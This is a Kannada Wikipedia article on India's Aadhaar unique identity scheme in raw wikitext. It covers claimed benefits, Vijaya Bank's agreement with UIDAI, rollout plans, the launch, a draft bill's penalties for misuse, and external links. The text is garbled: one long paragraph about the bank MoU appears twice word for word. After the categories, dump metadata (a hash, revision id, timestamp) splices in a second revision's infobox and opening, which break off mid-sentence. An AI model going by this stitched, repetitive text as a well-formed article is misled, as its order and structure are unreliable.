ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 8zdlwp3hs6e70tns26rqlrj718i2py3 1116523 1116522 2022-08-23T16:00:36Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ 